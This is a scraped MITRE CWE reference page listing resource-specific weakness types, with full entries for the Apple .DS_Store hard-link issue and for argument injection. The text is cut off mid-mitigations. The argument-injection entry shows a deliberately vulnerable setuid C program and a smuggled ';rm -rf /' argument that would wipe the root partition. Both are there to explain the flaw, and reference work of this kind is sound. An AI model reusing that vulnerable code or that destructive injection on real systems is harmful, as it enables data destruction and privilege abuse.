CWE

Common Weakness Enumeration

A Community-Developed List of Software Weakness Types

CWE/SANS Top 25 Most Dangerous Software Errors
Home > CWE List > VIEW SLICE: CWE-631: Resource-specific Weaknesses (2.11)  
ID

CWE VIEW: Resource-specific Weaknesses

View ID: 631
Structure: Graph
Status: Draft
Presentation Filter:
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CWE nodes in this view (graph) occur when the application handles particular system resources.

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631 - Resource-specific Weaknesses
+CategoryCategoryWeaknesses that Affect Files or Directories - (632)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories)
Weaknesses in this category affect file or directory resources.
*Weakness VariantWeakness VariantCreation of chroot Jail Without Changing Working Directory - (243)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 243 (Creation of chroot Jail Without Changing Working Directory)
The program uses the chroot() system call to create a jail, but does not change the working directory afterward. This does not prevent access to files outside of the jail.
*Weakness BaseWeakness BaseFiles or Directories Accessible to External Parties - (552)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 552 (Files or Directories Accessible to External Parties)
Files or directories are accessible in the environment that should not be.
*Weakness ClassWeakness ClassImproper Access Control - (284)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 284 (Improper Access Control)
The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.Authorization
*Weakness BaseWeakness BaseImproper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') - (98)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 98 (Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'))
The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.Remote file includeRFILocal file inclusion
*Weakness BaseWeakness BaseImproper Handling of Case Sensitivity - (178)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 178 (Improper Handling of Case Sensitivity)
The software does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.
*Weakness VariantWeakness VariantImproper Handling of Windows Device Names - (67)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 67 (Improper Handling of Windows Device Names)
The software constructs pathnames from user input, but it does not handle or incorrectly handles a pathname containing a Windows device name such as AUX or CON. This typically leads to denial of service or an information exposure when the application attempts to process the pathname as a regular file.
*Weakness ClassWeakness ClassImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - (22)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'))
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.Directory traversalPath traversal
*Weakness BaseWeakness BaseImproper Link Resolution Before File Access ('Link Following') - (59)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 59 (Improper Link Resolution Before File Access ('Link Following'))
The software attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.insecure temporary file
*Weakness BaseWeakness BaseImproper Neutralization of Directives in Statically Saved Code ('Static Code Injection') - (96)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 96 (Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection'))
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template.
*Weakness ClassWeakness ClassImproper Ownership Management - (282)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 282 (Improper Ownership Management)
The software assigns the wrong ownership, or does not properly verify the ownership, of an object or resource.
*Weakness BaseWeakness BaseImproper Resolution of Path Equivalence - (41)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 41 (Improper Resolution of Path Equivalence)
The system or application is vulnerable to file system contents disclosure through path equivalence. Path equivalence involves the use of special characters in file and directory names. The associated manipulations are intended to generate multiple names for the same object.
*Weakness VariantWeakness VariantInformation Exposure Through Server Log Files - (533)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 533 (Information Exposure Through Server Log Files)
A server.log file was found. This can give information on whatever application left the file. Usually this can give full path names and system information, and sometimes usernames and passwords.
+CategoryCategoryMac Virtual File Problems - (70)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 70 (Mac Virtual File Problems)
Weaknesses in this category are related to improper handling of virtual files within Mac-based operating systems.
*Weakness VariantWeakness VariantApple '.DS_Store' - (71)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 70 (Mac Virtual File Problems) > 71 (Apple '.DS_Store')
Software operating in a MAC OS environment, where .DS_Store is in effect, must carefully manage hard links, otherwise an attacker may be able to leverage a hard link from .DS_Store to overwrite arbitrary files and gain privileges.
*Weakness VariantWeakness VariantImproper Handling of Apple HFS+ Alternate Data Stream Path - (72)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 70 (Mac Virtual File Problems) > 72 (Improper Handling of Apple HFS+ Alternate Data Stream Path)
The software does not properly handle special paths that may identify the data or resource fork of a file on the HFS+ file system.
*Weakness VariantWeakness VariantPassword in Configuration File - (260)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 260 (Password in Configuration File)
The software stores a password in a configuration file that might be accessible to actors who do not know the password.
*CategoryCategoryPermission Issues - (275)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 275 (Permission Issues)
Weaknesses in this category are related to improper assignment or handling of permissions.
*CategoryCategoryTemporary File Issues - (376)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 376 (Temporary File Issues)
Weaknesses in this category are related to improper handling of temporary files.
+CategoryCategoryUNIX Path Link Problems - (60)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 60 (UNIX Path Link Problems)
Weaknesses in this category are related to improper handling of links within Unix-based operating systems.
*Weakness VariantWeakness VariantUNIX Hard Link - (62)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 60 (UNIX Path Link Problems) > 62 (UNIX Hard Link)
The software, when opening a file or directory, does not sufficiently account for when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.
+Compound Element: CompositeCompound Element: CompositeUNIX Symbolic Link (Symlink) Following - (61)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 60 (UNIX Path Link Problems) > 61 (UNIX Symbolic Link (Symlink) Following)
The software, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.Symlink followingsymlink vulnerability
*Weakness ClassWeakness ClassConcurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') - (362)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 60 (UNIX Path Link Problems) > 61 (UNIX Symbolic Link (Symlink) Following) > 362 (Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'))
The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
*Weakness ClassWeakness ClassContainment Errors (Container Errors) - (216)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 60 (UNIX Path Link Problems) > 61 (UNIX Symbolic Link (Symlink) Following) > 216 (Containment Errors (Container Errors))
This tries to cover various problems in which improper data are included within a "container."
*CategoryCategoryPermission Issues - (275)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 60 (UNIX Path Link Problems) > 61 (UNIX Symbolic Link (Symlink) Following) > 275 (Permission Issues)
Weaknesses in this category are related to improper assignment or handling of permissions.
*Weakness ClassWeakness ClassPredictability Problems - (340)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 60 (UNIX Path Link Problems) > 61 (UNIX Symbolic Link (Symlink) Following) > 340 (Predictability Problems)
Weaknesses in this category are related to schemes that generate numbers or identifiers that are more predictable than required by the application.
*Weakness BaseWeakness BaseSymbolic Name not Mapping to Correct Object - (386)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 60 (UNIX Path Link Problems) > 61 (UNIX Symbolic Link (Symlink) Following) > 386 (Symbolic Name not Mapping to Correct Object)
A constant symbolic reference to an object is used, even though the reference can resolve to a different object over time.
*Weakness BaseWeakness BaseUnrestricted Upload of File with Dangerous Type - (434)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 434 (Unrestricted Upload of File with Dangerous Type)
The software allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.Unrestricted File Upload
*Weakness VariantWeakness VariantUse of Path Manipulation Function without Maximum-sized Buffer - (785)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 785 (Use of Path Manipulation Function without Maximum-sized Buffer)
The software invokes a function for normalizing paths or file names, but it provides an output buffer that is smaller than the maximum possible size, such as PATH_MAX.
+CategoryCategoryWindows Path Link Problems - (63)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 63 (Windows Path Link Problems)
Weaknesses in this category are related to improper handling of links within Windows-based operating systems.
*Weakness VariantWeakness VariantWindows Hard Link - (65)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 63 (Windows Path Link Problems) > 65 (Windows Hard Link)
The software, when opening a file or directory, does not sufficiently handle when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.
*Weakness VariantWeakness VariantWindows Shortcut Following (.LNK) - (64)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 63 (Windows Path Link Problems) > 64 (Windows Shortcut Following (.LNK))
The software, when opening a file or directory, does not sufficiently handle when the file is a Windows shortcut (.LNK) whose target is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.Windows symbolic link followingsymlink
+CategoryCategoryWindows Virtual File Problems - (68)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 68 (Windows Virtual File Problems)
Weaknesses in this category are related to improper handling of virtual files within Windows-based operating systems.
*Weakness VariantWeakness VariantImproper Handling of Windows ::DATA Alternate Data Stream - (69)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 68 (Windows Virtual File Problems) > 69 (Improper Handling of Windows ::DATA Alternate Data Stream)
The software does not properly prevent access to, or detect usage of, alternate data streams (ADS).
*Weakness VariantWeakness VariantImproper Handling of Windows Device Names - (67)
631 (Resource-specific Weaknesses) > 632 (Weaknesses that Affect Files or Directories) > 68 (Windows Virtual File Problems) > 67 (Improper Handling of Windows Device Names)
The software constructs pathnames from user input, but it does not handle or incorrectly handles a pathname containing a Windows device name such as AUX or CON. This typically leads to denial of service or an information exposure when the application attempts to process the pathname as a regular file.
+CategoryCategoryWeaknesses that Affect Memory - (633)
631 (Resource-specific Weaknesses) > 633 (Weaknesses that Affect Memory)
Weaknesses in this category affect memory resources.
*Weakness BaseWeakness BaseBuffer Copy without Checking Size of Input ('Classic Buffer Overflow') - (120)
631 (Resource-specific Weaknesses) > 633 (Weaknesses that Affect Memory) > 120 (Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'))
The program copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.buffer overrunUnbounded Transfer
*Weakness VariantWeakness VariantCleartext Storage of Sensitive Information in Memory - (316)
631 (Resource-specific Weaknesses) > 633 (Weaknesses that Affect Memory) > 316 (Cleartext Storage of Sensitive Information in Memory)
The application stores sensitive information in cleartext in memory.
*Weakness BaseWeakness BaseCompiler Removal of Code to Clear Buffers - (14)
631 (Resource-specific Weaknesses) > 633 (Weaknesses that Affect Memory) > 14 (Compiler Removal of Code to Clear Buffers)
Sensitive memory is cleared according to the source code, but compiler optimizations leave the memory untouched when it is not read from again, aka "dead store removal."
*Weakness VariantWeakness VariantDouble Free - (415)
631 (Resource-specific Weaknesses) > 633 (Weaknesses that Affect Memory) > 415 (Double Free)
The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.Double-free
*Weakness VariantWeakness VariantHeap-based Buffer Overflow - (122)
631 (Resource-specific Weaknesses) > 633 (Weaknesses that Affect Memory) > 122 (Heap-based Buffer Overflow)
A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().
*Weakness VariantWeakness VariantImproper Clearing of Heap Memory Before Release ('Heap Inspection') - (244)
631 (Resource-specific Weaknesses) > 633 (Weaknesses that Affect Memory) > 244 (Improper Clearing of Heap Memory Before Release ('Heap Inspection'))
Using realloc() to resize buffers that store sensitive information can leave the sensitive information exposed to attack, because it is not removed from memory.
*Weakness BaseWeakness BaseImproper Release of Memory Before Removing Last Reference ('Memory Leak') - (401)
631 (Resource-specific Weaknesses) > 633 (Weaknesses that Affect Memory) > 401 (Improper Release of Memory Before Removing Last Reference ('Memory Leak'))
The software does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.Memory Leak
*Weakness ClassWeakness ClassImproper Restriction of Operations within the Bounds of a Memory Buffer - (119)
631 (Resource-specific Weaknesses) > 633 (Weaknesses that Affect Memory) > 119 (Improper Restriction of Operations within the Bounds of a Memory Buffer)
The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.Memory Corruption
*Weakness BaseWeakness BaseImproper Validation of Array Index - (129)
631 (Resource-specific Weaknesses) > 633 (Weaknesses that Affect Memory) > 129 (Improper Validation of Array Index)
The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array. out-of-bounds array indexindex-out-of-rangearray index underflow
*CategoryCategoryOften Misused: String Management - (251)
631 (Resource-specific Weaknesses) > 633 (Weaknesses that Affect Memory) > 251 (Often Misused: String Management)
Functions that manipulate strings encourage buffer overflows.
*Weakness BaseWeakness BaseRelease of Invalid Pointer or Reference - (763)
631 (Resource-specific Weaknesses) > 633 (Weaknesses that Affect Memory) > 763 (Release of Invalid Pointer or Reference)
The application attempts to return a memory resource to the system, but calls the wrong release function or calls the appropriate release function incorrectly.
*Weakness VariantWeakness VariantSensitive Data Storage in Improperly Locked Memory - (591)
631 (Resource-specific Weaknesses) > 633 (Weaknesses that Affect Memory) > 591 (Sensitive Data Storage in Improperly Locked Memory)
The application stores sensitive data in memory that is not locked, or that has been incorrectly locked, which might cause the memory to be written to swap files on disk by the virtual memory manager. This can make the data more accessible to external actors.
*Weakness BaseWeakness BaseSensitive Information Uncleared Before Release - (226)
631 (Resource-specific Weaknesses) > 633 (Weaknesses that Affect Memory) > 226 (Sensitive Information Uncleared Before Release)
The software does not fully clear previously used information in a data structure, file, or other resource, before making that resource available to a party in another control sphere.
*Weakness BaseWeakness BaseUse After Free - (416)
631 (Resource-specific Weaknesses) > 633 (Weaknesses that Affect Memory) > 416 (Use After Free)
Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.Dangling pointerUse-After-Free
*Weakness BaseWeakness BaseUse of Externally-Controlled Format String - (134)
631 (Resource-specific Weaknesses) > 633 (Weaknesses that Affect Memory) > 134 (Use of Externally-Controlled Format String)
The software uses a function that accepts a format string as an argument, but the format string originates from an external source.
*Weakness VariantWeakness VariantUse of Path Manipulation Function without Maximum-sized Buffer - (785)
631 (Resource-specific Weaknesses) > 633 (Weaknesses that Affect Memory) > 785 (Use of Path Manipulation Function without Maximum-sized Buffer)
The software invokes a function for normalizing paths or file names, but it provides an output buffer that is smaller than the maximum possible size, such as PATH_MAX.
+CategoryCategoryWeaknesses that Affect System Processes - (634)
631 (Resource-specific Weaknesses) > 634 (Weaknesses that Affect System Processes)
Weaknesses in this category affect system process resources during process invocation or inter-process communication (IPC).
*Weakness BaseWeakness BaseArgument Injection or Modification - (88)
631 (Resource-specific Weaknesses) > 634 (Weaknesses that Affect System Processes) > 88 (Argument Injection or Modification)
The software does not sufficiently delimit the arguments being passed to a component in another control sphere, allowing alternate arguments to be provided, leading to potentially security-relevant changes.
*Weakness VariantWeakness VariantCall to Thread run() instead of start() - (572)
631 (Resource-specific Weaknesses) > 634 (Weaknesses that Affect System Processes) > 572 (Call to Thread run() instead of start())
The program calls a thread's run() method instead of calling start(), which causes the code to run in the thread of the caller instead of the callee.
*Weakness BaseWeakness BaseExposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') - (403)
631 (Resource-specific Weaknesses) > 634 (Weaknesses that Affect System Processes) > 403 (Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak'))
A process does not close sensitive file descriptors before invoking a child process, which allows the child to perform unauthorized I/O operations using those descriptors.File descriptor leak
*Weakness BaseWeakness BaseImproper Check for Dropped Privileges - (273)
631 (Resource-specific Weaknesses) > 634 (Weaknesses that Affect System Processes) > 273 (Improper Check for Dropped Privileges)
The software attempts to drop privileges but does not check or incorrectly checks to see if the drop succeeded.
*Weakness VariantWeakness VariantImproper Handling of Windows ::DATA Alternate Data Stream - (69)
631 (Resource-specific Weaknesses) > 634 (Weaknesses that Affect System Processes) > 69 (Improper Handling of Windows ::DATA Alternate Data Stream)
The software does not properly prevent access to, or detect usage of, alternate data streams (ADS).
*Weakness BaseWeakness BaseImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - (78)
631 (Resource-specific Weaknesses) > 634 (Weaknesses that Affect System Processes) > 78 (Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'))
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.Shell injectionShell metacharacters
*Weakness BaseWeakness BaseIncorrect Privilege Assignment - (266)
631 (Resource-specific Weaknesses) > 634 (Weaknesses that Affect System Processes) > 266 (Incorrect Privilege Assignment)
A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.
*Weakness VariantWeakness VariantInformation Exposure Through Process Environment - (214)
631 (Resource-specific Weaknesses) > 634 (Weaknesses that Affect System Processes) > 214 (Information Exposure Through Process Environment)
A process is invoked with sensitive arguments, environment variables, or other elements that can be seen by other processes on the operating system.
*Weakness VariantWeakness VariantJ2EE Bad Practices: Direct Use of Threads - (383)
631 (Resource-specific Weaknesses) > 634 (Weaknesses that Affect System Processes) > 383 (J2EE Bad Practices: Direct Use of Threads)
Thread management in a Web application is forbidden in some circumstances and is always highly error prone.
*Weakness BaseWeakness BaseProcess Control - (114)
631 (Resource-specific Weaknesses) > 634 (Weaknesses that Affect System Processes) > 114 (Process Control)
Executing commands or loading libraries from an untrusted source or in an untrusted environment can cause an application to execute malicious commands (and payloads) on behalf of an attacker.
*Weakness BaseWeakness BaseRace Condition During Access to Alternate Channel - (421)
631 (Resource-specific Weaknesses) > 634 (Weaknesses that Affect System Processes) > 421 (Race Condition During Access to Alternate Channel)
The product opens an alternate channel to communicate with an authorized user, but the channel is accessible to other actors.
*Weakness BaseWeakness BaseRace Condition within a Thread - (366)
631 (Resource-specific Weaknesses) > 634 (Weaknesses that Affect System Processes) > 366 (Race Condition within a Thread)
If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.
*CategoryCategorySignal Errors - (387)
631 (Resource-specific Weaknesses) > 634 (Weaknesses that Affect System Processes) > 387 (Signal Errors)
Weaknesses in this category are related to the improper handling of signals.
*Weakness BaseWeakness BaseSignal Handler Race Condition - (364)
631 (Resource-specific Weaknesses) > 634 (Weaknesses that Affect System Processes) > 364 (Signal Handler Race Condition)
The software uses a signal handler that introduces a race condition.
*Weakness VariantWeakness VariantSignal Handler Use of a Non-reentrant Function - (479)
631 (Resource-specific Weaknesses) > 634 (Weaknesses that Affect System Processes) > 479 (Signal Handler Use of a Non-reentrant Function)
The program defines a signal handler that calls a non-reentrant function.
*Weakness VariantWeakness VariantUnprotected Windows Messaging Channel ('Shatter') - (422)
631 (Resource-specific Weaknesses) > 634 (Weaknesses that Affect System Processes) > 422 (Unprotected Windows Messaging Channel ('Shatter'))
The software does not properly verify the source of a message in the Windows Messaging System while running at elevated privileges, creating an alternate channel through which an attacker can directly send a message to the product.
+Compound Element: CompositeCompound Element: CompositeUntrusted Search Path - (426)
631 (Resource-specific Weaknesses) > 634 (Weaknesses that Affect System Processes) > 426 (Untrusted Search Path)
The application searches for critical resources using an externally-supplied search path that can point to resources that are not under the application's direct control.Untrusted Path
*Weakness ClassWeakness ClassContainment Errors (Container Errors) - (216)
631 (Resource-specific Weaknesses) > 634 (Weaknesses that Affect System Processes) > 426 (Untrusted Search Path) > 216 (Containment Errors (Container Errors))
This tries to cover various problems in which improper data are included within a "container."
*Weakness BaseWeakness BaseModification of Assumed-Immutable Data (MAID) - (471)
631 (Resource-specific Weaknesses) > 634 (Weaknesses that Affect System Processes) > 426 (Untrusted Search Path) > 471 (Modification of Assumed-Immutable Data (MAID))
The software does not properly protect an assumed-immutable element from being modified by an attacker.
*CategoryCategoryPermission Issues - (275)
631 (Resource-specific Weaknesses) > 634 (Weaknesses that Affect System Processes) > 426 (Untrusted Search Path) > 275 (Permission Issues)
Weaknesses in this category are related to improper assignment or handling of permissions.
+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-09-08CWE Content TeamMITREInternal
updated Relationships, View_Structure
2017-01-19CWE Content TeamMITREInternal
updated Relationships
+ View Metrics
CWEs in this viewTotal CWEs
Total62out of1006
Views0out of33
Categories11out of245
Weaknesses49out of720
Compound_Elements2out of8
View Components
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CWE-71: Apple '.DS_Store'

Weakness ID: 71
Abstraction: Variant
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

Software operating in a MAC OS environment, where .DS_Store is in effect, must carefully manage hard links, otherwise an attacker may be able to leverage a hard link from .DS_Store to overwrite arbitrary files and gain privileges.
+ Time of Introduction
  • Architecture and Design
  • Implementation
  • Operation
+ Applicable Platforms

Languages

All

+ Common Consequences
ScopeEffect
Confidentiality
Integrity

Technical Impact: Read files or directories; Modify files or directories

+ Observed Examples
ReferenceDescription
More security problems in Apache on Mac OS X
The Finder in Mac OS X and earlier allows local users to overwrite arbitrary files and gain privileges by creating a hard link from the .DS_Store file to an arbitrary file.
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness BaseWeakness Base66Improper Handling of File Names that Identify Virtual Resources
Research Concepts (primary)1000
ChildOfCategoryCategory70Mac Virtual File Problems
Resource-specific Weaknesses (primary)631
Development Concepts (primary)699
ChildOfCategoryCategory980SFP Secondary Cluster: Link in Resource Name Resolution
Software Fault Pattern (SFP) Clusters (primary)888
PeerOfWeakness VariantWeakness Variant62UNIX Hard Link
Research Concepts1000
+ Research Gaps

Under-studied

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERDS - Apple '.DS_Store
+ Maintenance Notes

This entry, which originated from PLOVER, probably stems from a common manipulation that is used to exploit symlink and hard link following weaknesses, like /etc/passwd is often used for UNIX-based exploits. As such, it is probably too low-level for inclusion in CWE.

+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Maintenance_Notes
2009-03-10CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Related_Attack_Patterns, Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships
2017-05-03CWE Content TeamMITREInternal
updated Related_Attack_Patterns

CWE-88: Argument Injection or Modification

Weakness ID: 88
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software does not sufficiently delimit the arguments being passed to a component in another control sphere, allowing alternate arguments to be provided, leading to potentially security-relevant changes.
+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

All

+ Common Consequences
ScopeEffect
Confidentiality
Integrity
Availability
Other

Technical Impact: Execute unauthorized code or commands; Alter execution logic; Read application data; Modify application data

An attacker could include arguments that allow unintended commands or code to be executed, allow sensitive data to be read or modified or could cause other unintended behavior.

+ Demonstrative Examples

Example 1

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

(Bad Code)
Example Language:
int main(int argc, char** argv) {
char cmd[CMD_MAX] = "/usr/bin/cat ";
strcat(cmd, argv[1]);
system(cmd);
}

Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

+ Observed Examples
ReferenceDescription
Canonical Example
Web browser executes Telnet sessions using command line arguments that are specified by the web site, which could allow remote attackers to execute arbitrary commands.
Web browser allows remote attackers to execute commands by spawning Telnet with a log file option on the command line and writing arbitrary code into an executable file which is later executed.
Argument injection vulnerability in the mail function for PHP may allow attackers to bypass safe mode restrictions and modify command line arguments to the MTA (e.g. sendmail) possibly executing commands.
Help and Support center in windows does not properly validate HCP URLs, which allows remote attackers to execute arbitrary code via quotation marks in an "hcp://" URL.
Mail client does not sufficiently filter parameters of mailto: URLs when using them as arguments to mail executable, which allows remote attackers to execute arbitrary programs.
Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified.
Mail client allows remote attackers to execute arbitrary code via a URI that uses a UNC network share pathname to provide an alternate configuration file.
SSH URI handler for web browser allows remote attackers to execute arbitrary code or conduct port forwarding via the a command line option.
Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified.
Argument injection vulnerability in TellMe 1.2 and earlier allows remote attackers to modify command line arguments for the Whois program and obtain sensitive information via "--" style options in the q_Host parameter.
Beagle before 0.2.5 can produce certain insecure command lines to launch external helper applications while indexing, which allows attackers to execute arbitrary commands. NOTE: it is not immediately clear whether this issue involves argument injection, shell metacharacters, or other issues.
Argument injection vulnerability in Internet Explorer 6 for Windows XP SP2 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
Argument injection vulnerability in Mozilla Firefox 1.0.6 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
Argument injection vulnerability in Avant Browser 10.1 Build 17 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
Argument injection vulnerability in the URI handler in Skype 2.0.*.104 and 2.5.*.0 through 2.5.*.78 for Windows allows remote authorized attackers to download arbitrary files via a URL that contains certain command-line switches.
Argument injection vulnerability in WinSCP 3.8.1 build 328 allows remote attackers to upload or download arbitrary files via encoded spaces and double-quote characters in a scp or sftp URI.
Argument injection vulnerability in the Windows Object Packager (packager.exe) in Microsoft Windows XP SP1 and SP2 and Server 2003 SP1 and earlier allows remote user-assisted attackers to execute arbitrary commands via a crafted file with a "/" (slash) character in the filename of the Command Line property, followed by a valid file extension, which causes the command before the slash to be executed, aka "Object Packager Dialogue Spoofing Vulnerability."
Argument injection vulnerability in HyperAccess 8.4 allows user-assisted remote attackers to execute arbitrary vbscript and commands via the /r option in a telnet:// URI, which is configured to use hawin32.exe.
Argument injection vulnerability in the telnet daemon (in.telnetd) in Solaris 10 and 11 (SunOS 5.10 and 5.11) misinterprets certain client "-f" sequences as valid requests for the login program to skip authentication, which allows remote attackers to log into certain accounts, as demonstrated by the bin account.
Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Input Validation

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Phase: Implementation

